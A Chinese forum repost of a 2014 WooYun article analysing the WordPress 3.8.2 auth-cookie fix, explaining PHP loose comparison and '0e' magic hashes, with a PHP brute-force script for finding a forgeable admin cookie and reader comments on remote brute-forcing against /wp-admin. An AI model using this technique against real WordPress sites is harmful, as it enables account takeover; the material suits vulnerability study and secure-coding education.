guhetu 发表于 2016-6-23 11:04:50

WordPress?3.8.2?cookie伪造漏洞再分析

   0x00 背景
  看了WordPress 3.8.2补丁分析 HMAC timing attack,眼界大开,原来还可以利用时间差来判断HMAC。
  但我总觉得这个漏洞并不是简单的修复这个问题。
  查看了官方提供的资料:“该漏洞是由WordPress的安全团队成员Jon Cave发现。”。
  也许漏洞还有这样利用的可能。
0x01 PHP的特性
  当PHP在进行”==”,”!=”等非严格匹配的情况下,会按照值的实际情况,进行强制转换。
  当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。
0x02 分析修复的代码
  官方版的diff只在php里改动了一个位置:
  其中$hmac来源于cookies。是我们可控的一个输入参数。
  $hash是以下代码生成一个md5值。
当$hmac == $hash 时,登录成功。
  那么,有几种情况会登录成功。
#!php
<?php
//第一种情况,完全相等。
$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第二种情况.第一位为数字,第二位为字母
$hmac = 1;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第三种情况。第一位为字母
$hmac = 0;
$hash = ‘af253e501c301bf5bf293c40d7d92ded’;
?>
  很明显,第三种出现的情况非常大。
  那么我们有没有可能把$hmac构造成一个整数0呢?
0x03 漏洞利用
  我们看看cookie解析的代码:
  当我们把cookie设置为:
  时。$hmac=’1’。但是,$hmac是字符串1,而不是整数1。
#!php
<?php
var_dump($hmac);//string(“1”);
?>
  非常遗憾,这个漏洞是不能利用的。
  难道官方修复的真的不是这个漏洞?
0x04 柳暗花明又一村
  还有什么情况能让字符串识别成整数吗?是的,还有!
  ‘e’会识别为次方,0的N次方为0;
  所以,这个漏洞的利用方式还可以是:让$hmac = ‘0’;
  通过改变$expiration来改变$hash。获得一个,第一位为0,第二位为e,后面所有位为数字的$hash.
#!php
<?php
$hmac = ‘0’;
$hash = ‘0e1234567890123456...32’;
var_dump($hmac == $hash);// true
?>
0x05 攻击代码
  本地测试代码(实际攻击代码应该是构造cookies远程请求):
#!php
<?php
  include( 'wp-load.php' );
  $user = get_userdata(1);
  $username = $user->user_login;
  $pass_frag = substr($user->user_pass, 8, 4);
  $expiration = 9999999999; //设置一个很大的过期时间,然后递减
  while($expiration >0){
  $key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
  $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
  if('0' == $hash OR '1'== $hash ){
  echo $expiration.'@'.$hash;
  file_put_contents('done.txt',$expiration.'@'.$hash);
  exit();
  }
  $expiration -= 1;//过期时间-1
  echo $expiration.'@'.$hash."\r\n";
  }
?>
  通过改变过期时间,尝试碰撞到可以利用的hash。
  按照理论值。碰撞到可以利用的$expiration几率是(2110^30)/(16^32)。也就是5.8774717541114 * 10 -9。
  理论上:把cookies设置成 “admin|碰撞到的过期时间|0”,就可以登陆后台了。
  但是几率太小,还不如穷举密码了。
  Ps:我本地跑了几个小时了,还没遇到一个。
<img alt="SosoImg"/>
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
donwa2014-04-15 19:36:09
  没看到代码上面的备注吗? 本地测试代码(实际攻击代码应该是构造cookies远程请求) 代码只是想跑出一个hash来证明可以伪造cookie登录。
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
不装逼会死黑阔2014-04-15 16:55:30
  这个的实战意义何在?? $pass_frag = substr($user->user_pass, 8, 4); $key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth'); $hash = hash_hmac('md5', $username . '|' . $expiration, $key); hash除了和登录的用户,$expiration有关还和$key有关,而$key产生又和当前登录的密码有关,$pass_frag = substr($user->user_pass, 8, 4) 这样子,要算出满足条件的hash和$expiration,攻击者要要先登录并且知道$pass_frag???这样子的漏洞感觉不到任何实战价值
http://zone.wooyun.org/upload/avatar/avatar_4.jpg
xsser2014-04-14 21:36:17
  赞~~
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
donwa2014-04-14 21:27:27
  不管是3亿次还是2亿次还是1亿次。穷举密码是肯定出来了,这个就得靠运气了。 是个正常的blog肯定被D死。
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
Ettack2014-04-14 21:21:08
  @insight-labs 大牛正解,我寫的正好就是head請求到wp_admin/profile.php 然後判斷status code,儘量減少數據用量
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
insight-labs2014-04-14 20:51:19
  提交到/wp-admin/index.php 然后判断HTTP状态码是不是302跳转,这样发送接收的数据最少
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
syjzwjj2014-04-14 20:29:48
  这么牛!还分布式!!代码发给我一份吧!邮箱:,谢谢啦
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
Ettack2014-04-14 20:26:15
  作者的代码就可以測試,把調用wp_hash改為寫死key然後取hash可以優化一些,然後再分布式到三台電腦上一台一億很快就出來了。我是用python寫的,需要的話我回去發出來。我連多線程分布式遠程的程序都寫了,不過在測試我自己博客的過程中,很快就把自己博客D掛了,意義不大,哈哈
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
Ettack2014-04-14 20:13:16
  纯字母密码,哈哈,打错成纯数字了
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
syjzwjj2014-04-14 20:12:25
  可以分享一下你的测试代码吗,谢啦!
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
Ettack2014-04-14 20:04:55
  另外作者说本地几个小时没跑出来,肯定是姿势不对,我之前测试了五六次基本都是在半小时内可以跑出来
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
Ettack2014-04-14 20:00:05
  我来比较下这个与爆破密码的请求次数: 爆破cookie概率 P=3.26526*10^-9 (算法见http://www.freebuf.com/vuls/31770.html) 爆破8位纯字母密码:P=1/26^8 因此平均3亿请求碰撞cookie,而需两千亿请求爆破仅仅八位的纯数字密码。 不知道我有没有算错。。。
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
syjzwjj2014-04-14 18:18:20
  这个是指登陆后台还是只要访问了wordpress就会有这个cookie啊?如果我不登陆后台的话可以知道这个hmac吗?是不是这个hmac为任意字符串都行的啊
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
donwa2014-04-14 15:31:07
  登录wordpress后,会得到一个这样的cookie。最后那个类似md5的字符串就是hmac。可以自己伪造。 wordpress_logged_in_7065d11a793a3ec8482214fcc4f0a55b=admin|1397480887|1f253e501c301bf5bf293c40d7d92ded
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
syjzwjj2014-04-14 13:51:04
  想请教一下那个$hmac具体是怎么得到的呢?
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
insight-labs2014-04-14 09:52:43
  那这样的话远程5亿次……估计爆破密码可能更快点……
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
donwa2014-04-14 08:49:52
  嗯,确实是看http://joncave.co.uk/,觉得这个漏洞应该是隐式转换的问题。没想到是timing attack。 概率确实低,理论上,上亿次才能碰撞到一个。。。。
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
donwa2014-04-14 08:45:09
  可能我没没说清楚。必须远程尝试,因为$hash是根据用户的密码和AUTH_SALT 生成的。每个wordpress都是不同的。
http://zone.wooyun.org/upload/avatar/avatar_6.jpg
blue2014-04-14 08:26:39
  受教了,php真是门神奇的语言呐~
http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png
insight-labs2014-04-14 07:51:41
  这个也比较靠谱,可以现在本地计算对应的cookie然后再使用,避免了一次次的远程尝试。
http://zone.wooyun.org/upload/avatar/avatar_22.jpg
瞌睡龙2014-04-13 23:30:00
  作者应该是追寻这漏洞原作者博客找到的利用思路吧http://joncave.co.uk/,想法其实很不错的,之前也想到了,不过考虑到要求太高前两位必须是0e后面的必须都为数字。所以就没加上,原作者也贴出了此修复主要是为了防御timing attack的攻击方式。https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be 小伙伴研究精神值得鼓励 :)


       

                                                  


来源链接: http://drops.wooyun.org/papers/1409
页: [1]
查看完整版本: WordPress?3.8.2?cookie伪造漏洞再分析